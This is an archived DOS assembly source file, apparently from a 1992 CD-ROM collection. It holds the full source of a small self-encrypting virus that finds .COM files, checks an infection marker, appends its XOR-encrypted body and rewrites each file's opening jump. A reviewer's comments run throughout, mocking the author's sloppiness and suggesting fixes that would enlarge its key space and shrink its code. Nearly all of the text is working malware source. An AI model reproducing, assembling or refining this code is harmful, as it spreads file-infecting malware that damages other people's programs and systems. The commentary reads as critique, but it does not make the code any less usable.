home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 334.ASM < prev    next >
Assembly Source File  |  1992-09-14  |  11KB  |  253 lines

  1.  
  2. muttiny         segment byte public
  3.                 assume  cs:muttiny, ds:muttiny
  4.  
  5.                 org     100h
  6.  
  7. start:          db      0e9h, 5, 0              ; jmp     startvir
  8. restorehere:    int     20h
  9. idword:         dw      990h
  10. ; The next line is incredibly pointless. It is a holdover from one
  11. ; of the original TINYs, where the id was 7, 8, 9.  The author can
  12. ; easily save one byte merely by deleting this line.
  13.                 db      09h
  14. startvir:
  15.                 call    oldtrick                ; Standard location-finder
  16. oldtrick:       pop     si
  17. ; The following statement is a bug -- well, not really a bug, just
  18. ; extraneous code.  The value pushed on the stack in the following
  19. ; line is NEVER popped off. This is messy programming, as one byte
  20. ; could be saved by removing the statement.
  21.                 push    si
  22.                 sub     si,offset oldtrick
  23.                 call    encrypt                 ; Decrypt virus
  24.                 call    savepsp                 ;  and save the PSP
  25. ; NOTE:  The entire savepsp/restorepsp procedures are unnecessary.
  26. ;        See the procedures at the end for further details.
  27.                 jmp     short findencryptval    ; Go to the rest of the virus
  28. ; The next line is another example of messy programming -- it is a
  29. ; NOP inserted by MASM during assembly.  Running this file through
  30. ; TASM with the /m2 switch should eliminate such "fix-ups."
  31.                 nop
  32. ; The next line leaves me guessing as to the author's true intent.
  33.                 db      0
  34.  
  35. encryptval      dw      0h
  36.  
  37. encrypt:
  38.                 push    bx                      ; Save handle
  39. ; The following two lines of code could be condensed into one:
  40. ;       lea bx, [si+offset startencrypt]
  41. ; Once again, poor programming style, though there's nothing wrong
  42. ; with the code.
  43.                 mov     bx,offset startencrypt
  44.                 add     bx,si
  45. ; Continueencrypt is implemented as a jmp-type loop. Although it's
  46. ; fine to code it this way, it's probably easier to code using the
  47. ; loop statement.  Upon close inspection, one finds the loop to be
  48. ; flawed. Note the single inc bx statement. This essentially makes
  49. ; the encryption value a a byte instead of a word, which decreases
  50. ; the number of mutations from 65,535 to 255.  Once again, this is
  51. ; just poor programming, very easily rectified with another inc bx
  52. ; statement. Another optimization could be made.  Use a
  53. ;       mov dx, [si+encryptval]
  54. ; to load up the encryption value before the loop, and replace the
  55. ; three lines following continueencrypt with a simple:
  56. ;       xor word ptr [bx], dx
  57. continueencrypt:
  58.                 mov     ax,[bx]
  59.                 xor     ax,word ptr [si+encryptval]
  60.                 mov     [bx],ax
  61.                 inc     bx
  62. ; The next two lines should be executed BEFORE continueencrypt. As
  63. ; it stands right now, they are recalculated every iteration which
  64. ; slows down execution somewhat. Furthermore, the value calculated
  65. ; is much too large and this increases execution time. Yet another
  66. ; improvement would be the merging of the mov/add pair to the much
  67. ; cleaner lea cx, [si+offset endvirus].
  68.                 mov     cx,offset veryend       ; Calculate end of
  69.                 add     cx,si                   ; encryption: Note
  70.                 cmp     bx,cx                   ; the value is 246
  71.                 jle     continueencrypt         ; bytes too large.
  72.                 pop     bx
  73.                 ret
  74. writerest:                                      ; Tack on the virus to the
  75.                 call    encrypt                 ; end of the file.
  76.                 mov     ah,40h
  77.                 mov     cx,offset endvirus - offset idword
  78.                 lea     dx,[si+offset idword]   ; Write starting from the id
  79.                 int     21h                     ; word
  80.                 call    encrypt
  81.                 ret
  82.  
  83. startencrypt:
  84. ; This is where the encrypted area begins.  This could be moved to
  85. ; where the ret is in procedure writerest, but it is not necessary
  86. ; since it won't affect the "scannability" of the virus.
  87.  
  88. findencryptval:
  89.                 mov     ah,2Ch                  ; Get random #
  90.                 int     21h                     ; CX=hr/min dx=sec
  91. ; The following chunk of code puzzles me. I admit it, I am totally
  92. ; lost as to its purpose.
  93.                 cmp     word ptr [si+offset encryptval],0
  94.                 je      step_two
  95.                 cmp     word ptr [si+offset encryptval+1],0
  96.                 je      step_two
  97.                 cmp     dh,0Fh
  98.                 jle     foundencryptionvalue
  99. step_two:                                       ; Check to see if any
  100.                 cmp     dl,0                    ; part of the encryption
  101.                 je      findencryptval          ; value is 0 and if so,
  102.                 cmp     dh,0                    ; find another value.
  103.                 je      findencryptval
  104.                 mov     [si+offset encryptval],dx
  105. foundencryptionvalue:
  106.                 mov     bp,[si+offset oldjmp]   ; Set up bp for
  107.                 add     bp,103h                 ; jmp later
  108.                 lea     dx,[si+filemask]        ; '*.COM',0
  109.                 xor     cx,cx                   ; Attributes
  110.                 mov     ah,4Eh                  ; Find first
  111. tryanother:
  112.                 int     21h
  113.                 jc      quit_virus              ; If none found, exit
  114.  
  115.                 mov     ax,3D02h                ; Open read/write
  116.                 mov     dx,9Eh                  ; In default DTA
  117.                 int     21h
  118.  
  119.                 mov     cx,3
  120.                 mov     bx,ax                   ; Swap file handle register
  121.                 lea     dx,[si+offset buffer]
  122.                 mov     di,dx
  123.                 call    read                    ; Read 3 bytes
  124.                 cmp     byte ptr [di],0E9h      ; Is it a jmp?
  125.                 je      infect
  126. findnext:
  127.                 mov     ah,4Fh                  ; If not, find next
  128.                 jmp     short tryanother
  129. infect:
  130.                 mov     ax,4200h                ; Move file pointer
  131.                 mov     dx,[di+1]               ; to jmp location
  132.                 mov     [si+offset oldjmp],dx   ; and save old jmp
  133.                 xor     cx,cx                   ; location
  134.                 call    int21h
  135.                 jmp     short skipcheckinf
  136. ; Once again, we meet an infamous MASM-NOP.
  137.                 nop
  138. ; I don't understand why checkinf is implemented as a procedure as
  139. ; it is executed but once.  It is a waste of code space to do such
  140. ; a thing. The ret and call are both extra, wasting four bytes. An
  141. ; additional three bytes were wasted on the JMP skipping checkinf.
  142. ; In a program called "Tiny," a wasted seven bytes is rather large
  143. ; and should not exist.  I have written a virus of half the length
  144. ; of this virus which is a generic COM infector. There is just too
  145. ; too much waste in this program.
  146. checkinf:
  147.                 cmp     word ptr [di],990h      ; Is it already
  148.                 je      findnext                ; infected?
  149. ; The je statement above presents another problem. It leaves stuff
  150. ; on the stack from the call.  This is, once again, not a critical
  151. ; error but nevertheless it is extremely sloppy behavior.
  152.                 xor     dx,dx
  153.                 xor     cx,cx
  154.                 mov     ax,4202h
  155.                 call    int21h                  ; Goto end of file
  156.                 ret
  157. skipcheckinf:
  158.                 mov     cx,2
  159.                 mov     dx,di
  160.                 call    read                    ; read 2 bytes
  161.                 call    checkinf
  162. ; The next check is extraneous.  No COM file is larger than 65,535
  163. ; bytes before infection simply because it is "illegal."  Yet ano-
  164. ; ther waste of code.  Even if one were to use this useless check,
  165. ; it should be implemented, to save space, as or dx, dx.
  166.                 cmp     dx,0                    ; Check if too big
  167.                 jne     findnext
  168.  
  169.                 cmp     ah,0FEh                 ; Check again if too big
  170.                 jae     findnext
  171.                 mov     [si+storejmp],ax        ; Save new jmp
  172.                 call    writerest               ;     location
  173.                 mov     ax,4200h                ; Go to offset
  174.                 mov     dx,1                    ; 1 in the file
  175.                 xor     cx,cx
  176.                 call    int21h
  177.  
  178.                 mov     ah,40h                  ; and write the new
  179.                 mov     cx,2                    ; jmp location
  180.                 lea     dx,[si+storejmp]
  181.                 call    int21h
  182. ; I think it is quite obvious that the next line is pointless.  It
  183. ; is a truly moronic waste of two bytes.
  184.                 jc      closefile
  185. closefile:
  186.                 mov     ah,3Eh                  ; Close the file
  187.                 call    int21h
  188. quit_virus:
  189.                 call    restorepsp
  190.                 jmp     bp
  191.  
  192. read:
  193.                 mov     ah,3Fh                  ; Read file
  194. ; I do not understand why all the int 21h calls are done with this
  195. ; procedure.  It is a waste of space. A normal int 21h call is two
  196. ; bytes long while it's three bytes just to call this procedure!
  197. int21h:
  198.                 int     21h
  199.                 ret
  200.  
  201.                 db      'Made in England'
  202.  
  203. ; Note: The comments for savepsp also apply to restorepsp.
  204.  
  205. ; This code could have easily been changed to a set active DTA INT
  206. ; 21h call (AH = 1Ah).  It would have saved many, many bytes.
  207.  
  208. savepsp:
  209.                 mov     di,0
  210. ; The following is a bug.  It should be
  211. ;       mov cx, 50h
  212. ; since the author decided to use words instead of bytes.
  213.                 mov     cx,100h
  214.                 push    si
  215. ; The loop below is dumb.  A simple rep movsw statement would have
  216. ; sufficed.  Instead, countless bytes are wasted on the loop.
  217. storebytes:
  218.                 mov     ax,[di]
  219.                 mov     word ptr [si+pspstore],ax
  220.                 add     si,2
  221.                 add     di,2
  222.                 loop    storebytes
  223.                 pop     si
  224.                 ret
  225.  
  226. restorepsp:
  227.                 mov     di,0
  228.                 mov     cx,100h                 ; Restore 200h bytes
  229.                 push    si
  230. restorebytes:
  231.                 mov     ax,word ptr [si+pspstore]
  232.                 mov     [di],ax
  233.                 add     si,2
  234.                 add     di,2
  235.                 loop    restorebytes
  236.                 pop     si
  237.                 ret
  238.  
  239. oldjmp          dw      0
  240. filemask        db      '*.COM',0
  241. idontknow1      db      66h                     ; Waste of one byte
  242. buffer          db      00h, 00h, 01h           ; Waste of three bytes
  243. storejmp        dw      0                       ; Waste of two bytes
  244. ; endvirus should be before idontknow1, thereby saving six bytes.
  245. endvirus:
  246. idontknow2      db      ?, ?
  247. pspstore        db      200 dup (?)             ; Should actually be
  248. idontknow3      db      2ch dup (?)             ; 100h bytes long.
  249. veryend:                                        ; End of encryption
  250. muttiny         ends
  251.                 end     start
  252.  
  253.